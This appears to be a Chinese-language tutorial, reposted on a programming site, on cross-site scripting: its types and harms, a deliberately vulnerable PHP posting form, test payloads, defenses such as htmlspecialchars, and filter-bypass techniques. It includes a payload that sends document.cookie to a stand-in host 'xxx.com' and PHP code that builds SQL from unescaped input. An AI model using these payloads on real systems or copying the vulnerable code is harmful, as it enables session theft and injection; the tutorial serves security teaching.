Web滲透之XSS注入

XSS的類型

1、反射型XSS

我們構建好一個urlXSS的payload,發送給受害者,受害者點擊惡意鏈接后會在受害者的瀏覽器上執行惡意代碼。反射型XSS是一次性的,而且比較容易被發現。通常惡意鏈接會被修改成短鏈接,或釣魚圖片的形式。

2、存儲型XSS

存儲型又叫永久性XSS,常見于留言板。因為存儲型XSS的頁面會將用戶輸入的內容存入到數據庫內,所以當其他人每訪問一次的時候,服務器都會從數據庫將攻擊者輸入的內容調取到前端瀏覽器解析,因此每一次訪問就相當于一次XSS攻擊。

3、DOM型XSS

不與服務器交互,本質上也是一種反射型XSS。主要利用js使用dom對前端html進行操作時候產生的漏洞。DOM型XSS的難點就在于通過閱讀JavaScript來確定輸出的位置,才好構建輸入的payload。

DOM型XSS可通過開發者工具觀察js變化

XSS的危害

(1) 網頁掛馬,利用瀏覽器挖等:https://www.sohu.com/a/233384944354899

(2) 盜取用戶Coolie并扮演用戶角色。

(3) DOS(拒絕服務) 客戶端瀏覽器。

(4) 釣魚攻擊,高級的釣魚技巧。

(5) 刪除目標文章、惡意篡改數據、嫁禍。

(6) 劫持用戶用戶Web行為,甚至進一步滲透內網。

(7) 爆發Web 2.0蠕蟲 :https://www.cnblogs.com/jason-jiang/articles/607070.html

(8) 蠕蟲式的DDoS攻擊。

(9) 蠕蟲式掛馬攻擊、刷廣告、刷流量,破壞網上數據。

一言以蔽之,具體要實現何種危害,完全取決于你的JavaScript代碼執行何種功能

構建XSS漏洞環境

一、PHP的發帖功能

1、前端頁面

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatiable" content="IE=edge"><meta name="viewport" content="width=device-width,initial-sacle=1.0"><title>登錄蝸牛筆記</title><style>div_x{width: 300px;height: 40px;border: solid 1px rgb(204, 83, 144);margin: auto;}.login{width: 350px;height: 50px;border: solid 0px red;margin: auto;text-align: center;}.footer{width: 500px;height: 50px;border: solid 0px blue;margin: auto;text-align: center;}.top-100{margin: 100px;}.font-30{font-size: 30px;}input{width: 300px;height: 35px;text-align: center;border-radius: 5px;}input[name="vcode"]{width: 200px;}button{width: 310px;height: 40px;background-color: dodgerblue;color: whitesmoke;border-radius: 5px;}</style>
</head>
<body style="background-image: url(./image/1.JPG); background-size: cover;"><div class="login top-100 font-30">登  錄</div><form action="login.php" method="get"><div class="login"><input type="text" name="username" /></div><div class="login"><input type="password" name="password"></div><div class="login"><input type="text" name="vcode" />&nbsp;&nbsp;&nbsp;<img src="vcode.php"/></div><div class="login"><button type="submit">登錄</button></div></form>
<div class="footer top-100">版權歸我所有</div>
</body>
</html>

2、后臺代碼

<?phpinclude "common.php";  //引入公共函數庫// 獲取前端提交的數據和session變量
$headline = $_POST['headline'];
$content = $_POST['content'];
$author = $_SESSION['username'];// 將文章數據插入數據庫,并根據運行結果輸出成功與否的標志
$conn = create_connection_oop();
$sql = "insert into learn3(author,headline,content,viewcount,creattime)values('$author','$headline','$content',1,now())";
$conn->query($sql) or die('add-fail');echo "add-success";?>

3、發帖試探

<img src="./image/1.JPG" onclick="location.href=\'http://woniuxy.com\'" />
//由于該漏洞環境沒有完善單引號,所以我們將需轉入網站的單引號進行轉義<script>var result = 1;
while (true) {result--;
}
</script>
該js代碼是一個死循環,進行查看的時候會消耗我們的CPU,該例子就不做演示了<button onclick="alert(document.cookie)">點我有驚喜</button>

XSS攻防與繞過

XSS的攻擊與防御

1、XSS利用方式

(1)獲取用戶Cookie,實現越權,如果是獲取網站管理員的Cookie,也可以叫提權。注意一下盡快注銷賬號,刪除Session,讓Session失效

(2)釣魚網站,模擬真實的網站的登錄頁面,獲取用戶信息(用戶名密碼等),再跳轉到真實網站

(3)執行JS代碼,用于DDOS攻擊別的目標站點,在站點A上植入XSS代碼,向站點B發起請求,當用戶量大的時候,實現了DDOS攻擊

(4)惡意鏈接讓用戶點擊,或者直接將網頁植入到站點的<iframe>標簽中

www.woniux.com/security.textxss.php?content=<script>location.href="http://xxx.com/xss.php?cookie="+document.cookie;</script>

將上述代碼以短網址的方式發送,用戶點擊短網址再進行訪問

(5)當用戶點擊并訪問到惡意站點:<a href="http://xxxx.com/xss.html">,在xss.html的網頁中,可以執行JS代碼,一方面提供正常的網站功能,另外一方面隱藏著DOS或挖礦代碼,讓用戶瀏覽器執行

2、測試方法

(1)反射性XSS測試的時候,可以使用掃描器,或者burp進行fuzz

(2)存儲型XSS測試的時候,可以直接把字典中的payload都塞進去,根據彈窗的編號,就知道是哪個。但這個容易被發現,所以可以先試探一下特殊符號是否被過濾

(3)DOM型XSS測試,主要以閱讀js代碼為主,在頁面上找到輸入點的相關dom節點,在開發者選項中搜索一下,根據搜索結果去看是否被相關的JS操作,如果有js的操作,就去看我們的輸入操作后輸出在哪個地方,就按照常規的XSS思路進行構建

掃描器,要么直接對一個URL地址進行XSS的Payload攻擊,確認該URL地址在哪些Payload上存在XSS,另外一個思路是對整個網站使用爬蟲手段先爬取URL地址,然后再批量處理。

3、防御手段

(1)做實體字符編碼,htmlspecialchars(),函數功能就是把特殊符號,比如尖括號,引號轉換成實體編碼,這樣就不會在輸入的地方去干擾頁面源代碼。經過實體字符編碼后,用戶輸入的特殊符號在源代碼中就變成編碼,但是在頁面輸出的時候,還是會顯示成原來的樣子。當輸出位置在元素內容里面,并且被實體編碼后,基本上就沒有XSS的可能了。

http://localhost/security/testxss.php?content=<script>alert(1)</script>
$content = htmlspecialchars($_GET['content']);

http://localhost/security/testxss.php?content=Hello" onclick="alter(1)
$content = htmlspecialchars($_GET['content']);

(2)正則表達式或字符串判斷

實體字符編碼如果輸出在事件屬性中,還是有可能存在繞過的可能性。比如在a標簽中,<a href=javascript:alert(1)>,這種形式,沒有尖括號也沒有引號,就有可能被繞過。如果存在類似這種的情況,需要在鏈接屬性中加上http://或https://的正則表達式來限制。

XSS的繞過方式

1、繞過過濾

(1)前端限制,直接用F12開發者選項修改js或HTML代碼即可,或者用burpsuite繞過

(2)字符過濾,雙寫(onclick ononclickclick),大小寫繞過(ONClick),通過注釋符繞過(//,/**/),也可以通過換行符繞過(%0A,%0D)

(3)HTML實體轉移

字符實體是用一個編號寫入HTML代碼中來代替一個字符,在使用瀏覽器訪問網頁時會將這個編號解析還原為字符以供閱讀

javascript:alert("Hello Woniu")編碼為:

十六進制:6A006100760061007300630072006900700074003A0061006C0065007200740028002200480065006C006C006F00200057006F006E006900750022002900十進制:ASCII->UNICODE
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;
&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;
&#40;&#34;&#72;&#101;&#108;&#108;&#111;&#32;&#87;
&#111;&#110;&#105;&#117;&#34;&#41;

2、繞過編碼

明確瀏覽器解析的機制,明白機制后,選擇對應的編碼

3、其他技巧

(1)輸出在標簽間的情況:測試<>是否被過濾或轉義,若無則直接<img src=1 οnerrοr=alert(1)>

(2)輸出在script標簽內:我們需要在保證內部JS語法正確的前提下,去插入我們的payload。如果我們的輸出在字符串內部,測試字符串能否被閉合。如果我們無法閉合包裹字符串的引號,這個點就很難利用了。可能的解決方案:可以控制兩處輸入且\可用、存在寬字節

(3)輸出在HTML屬性內:首先查看屬性是否有雙引號包裹、沒有則直接添加新的事件屬性;有雙引號包裹則測試雙引號是否可用,可用則閉合屬性之后添加新的事件屬性;TIP:HTML的屬性,如果被進行HTML實體編碼(形如'&#x27),那么HTML會對其進行自動解碼,從而我們可以在屬性里以HTML實體編碼的方式引入任意字符,從而方便我們在事件屬性里以JS的方式構造payload。

(4)輸出在JS中,空格被過濾:使用/**/代替空格,或者在XSS代碼后對其代碼進行注釋。

(5)輸出在JS注釋中:設法插入%0A,%0D等,使其逃逸出來。

(6)輸出在JS字符串內:可以利用JS的十六進制、八進制、unicode編碼。

(7)輸出在src/href/action等屬性內:可以利用javascript:alert(1),以及data:text/html;base64;加上base64編碼后的HTML。

(8)當我們的XSSpayload位于這些標簽中間時,并不會解析,除非我們把它們閉合掉。

<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/76962.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/76962.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/76962.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【Nginx】Nginx代理Tomcat配置及404問題解決

當Tomcat返回HTTP 404未找到錯誤時&#xff0c;可以通過以下兩種方式設置跳轉到指定地址&#xff1a; ① 在Tomcat應用內部配置錯誤頁面跳轉&#xff08;直接修改Tomcat的Web應用配置&#xff09; ② 在Nginx反向代理層攔截404錯誤并跳轉&#xff08;無需修改Tomcat&#xff0c…

某公司網絡OSPF單區域配置

1.配置背景&#xff1a; xx公司網絡由三臺路由器和一臺交換機組成&#xff0c;現在想要三臺路由器之間通過OSPF實現互連互通。 2.網絡結構如下&#xff1a; 3.具體配置&#xff1a; 3.1路由器 RA 配置&#xff1a; 1.更改主機名稱&#xff1a; Router>en Router#conf t…

電腦知識 | TCP通俗易懂詳解 <一>

目錄 一、&#x1f44b;&#x1f3fb;前言 二、&#x1f68d;什么是TCP/TCP協議 三、&#x1f9cd;?♂為什么TCP可靠 1.&#x1f970;關于可靠 2.&#x1f920;哪里可靠 3.&#x1f393;?圖片的三次握手&#xff0c;四次揮手 4.&#x1f4da;?知識點總結 四、&…

MyBatis 中 Mapper 傳遞參數的多種方法

# MyBatis Mapper 傳遞參數的多種方法及其優勢 在使用 MyBatis 進行數據庫操作時&#xff0c;Mapper 接口的參數傳遞是一個非常基礎但又十分重要的部分。不同的參數傳遞方式適用于不同的場景&#xff0c;合理選擇可以大大提高代碼的可讀性和維護性。本文將詳細介紹幾種常見的 …

Dify 插件開發筆記

Dify 插件開發 開發流程 #mermaid-svg-U9rSMmcbWvcGcFMu {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-U9rSMmcbWvcGcFMu .error-icon{fill:#552222;}#mermaid-svg-U9rSMmcbWvcGcFMu .error-text{fill:#552222;st…

行星際激波在日球層中的傳播:Propagation of Interplanetary Shocks in the Heliosphere (第二部分)

行星際激波在日球層中的傳播&#xff1a;Propagation of Interplanetary Shocks in the Heliosphere &#xff08;第一部分&#xff09;- Chapter 1: Introduction & Chapter 2: Basics of Magnetohydrodynamics 行星際激波在日球層中的傳播&#xff1a;Propagation of In…

巴法云平臺-TCP設備云-微信小程序實時接收顯示數據-原理

微信小程序通過WebSocket或HTTP長輪詢連接平臺&#xff08;而非直接使用TCP&#xff09;&#xff01;&#xff01;&#xff01; 物聯網平臺對協議層的一種封裝設計——將底層通信協議&#xff08;如TCP&#xff09;與應用層業務邏輯&#xff08;如主題路由&#xff09;解耦&am…

QT Sqlite數據庫-教程002 查詢數據-上

【1】DQL語句&#xff1a; DQL語句&#xff08;數據查詢語言&#xff09;&#xff0c;用來查詢數據記錄。DQL 基本結構由 SELECT FROM、WHERE、JOIN 等子句構成。DQL 語句并不會改變數據庫&#xff0c;而是讓數據庫將查詢結果發送結果集給客戶端&#xff0c;返回的結果是一張虛…

基礎數學:線性代數與優化理論

本篇文章簡單帶您復習線性代數與優化理論&#xff08;主要是我發表的文章中涉及過的或相關聯的&#xff09; 微積分和概率與統計由此進&#xff1a;基礎數學&#xff1a;微積分和概率與統計-CSDN博客 圖論與信息論由此進&#xff1a;基礎數學&#xff1a;圖論與信息論-CSDN博…

java android持久化數據

1. SQLite 數據庫&#xff08;Android 內置&#xff09; 1.1 創建數據庫幫助類 public class DatabaseHelper extends SQLiteOpenHelper {private static final String DATABASE_NAME "MyDatabase.db";private static final int DATABASE_VERSION 1;// 表名和列名…

鴻蒙動畫與交互設計:ArkUI 3D變換與手勢事件詳解

大家好&#xff0c;我是 V 哥。 在鴻蒙 NEXT 開發中&#xff0c;ArkUI 提供了豐富的 3D 變換和手勢事件功能&#xff0c;可用于創建生動且交互性強的用戶界面。下面詳細介紹 ArkUI 的 3D 變換和手勢事件&#xff0c;并給出相應的 ArkTS 案例代碼。 1. ArkUI 3D 變換 ArkUI 支…

HTTP 和 HTTPS 協議的區別及使用場景

在互聯網的世界里,HTTP 和 HTTPS 是我們經常接觸到的兩種網絡協議,它們在數據傳輸、安全性等方面存在諸多差異,適用的場景也各有不同。? 一、HTTP 和 HTTPS 的基本概念? HTTP,即超文本傳輸協議(Hyper - Text Transfer Protocol),是一種用于分布式、協作式和超媒體信息…

【微服務管理】注冊中心:分布式系統的基石

在分布式系統日益普及的當下&#xff0c;如何高效地管理眾多服務實例成為關鍵問題。注冊中心應運而生&#xff0c;它猶如分布式系統的 “指揮中樞”&#xff0c;承擔著服務注冊、發現等核心任務&#xff0c;為整個系統的穩定運行和高效協作提供堅實保障。本文將深入探討注冊中心…

高并發短信系統設計:基于SharingJDBC的分庫分表、大數據同步與實時計算方案

高并發短信系統設計&#xff1a;基于SharingJDBC的分庫分表、大數據同步與實時計算方案 一、概述 在當今互聯網應用中&#xff0c;短信服務是極為重要的一環。面對每天發送2000萬條短信的需求&#xff0c;我們需要一個能夠處理海量數據&#xff08;一年下來達到數千萬億級別&…

2025最新系統 Git 教程(七)(完結)

第4章 分布式Git 4.1 分布式 Git - 分布式工作流程 你現在擁有了一個遠程 Git 版本庫&#xff0c;能為所有開發者共享代碼提供服務&#xff0c;在一個本地工作流程下&#xff0c;你也已經熟悉了基本 Git 命令。你現在可以學習如何利用 Git 提供的一些分布式工作流程了。 這一…

OpenCV 圖像旋轉

一、OpenCV 圖像旋轉介紹 在計算機視覺和圖像處理領域&#xff0c;圖像旋轉是指將圖像圍繞某個中心點按照一定的角度進行轉動。旋轉操作會改變圖像中像素的位置&#xff0c;從而得到新的圖像布局。這一操作在很多場景中都有重要應用&#xff0c;比如文檔矯正、目標檢測時對圖像…

<C#>在 .NET 開發中,依賴注入, 注冊一個接口的多個實現

在 .NET 開發里&#xff0c;有時一個接口會有多個實現類&#xff0c;此時就需要向依賴注入容器注冊多個實現。下面會詳細介紹不同場景下如何注冊多個實現&#xff0c;以及怎樣從容器中解析這些實現。 1. 注冊多個實現 在 .NET 中&#xff0c;依賴注入容器可以通過不同方式注冊…

idea 保存格式化 但是不格式化 Xml

xml- 其他 - 保持空格勾選上 https://blog.csdn.net/m0_65724734/article/details/128378290?spm1001.2101.3001.6650.8&utm_mediumdistribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-9-128378290-blog-135147277.235%5Ev43%5Epc_blog_bo…

如何在C++中優雅地繪制圖表

如何在C項目中優雅地繪制圖表 matplotlibpreparematplotlibcpp.hpython3vs configuretest Gnuplotpreparegnuplotgnuplot-iostream.hboostvs configuretest MathGL 在C項目中&#xff0c;在進行一些數據分析時往往不夠直觀&#xff0c;若能借助圖表進行分析可以達到事半功倍的效…

vue3使用keep-alive緩存組件與踩坑日記

目錄 一.了解一下KeepAlive 二.使用keep-alive標簽緩存組件 1.聲明Home頁面名稱 三.在路由出口使用keep-alive標簽 四.踩坑點1&#xff1a;可能需要配置路由&#xff08;第三點完成后有效可忽略&#xff09; 五.踩坑點2&#xff1a;沒有找到正確的路由出口 一.了解一下Kee…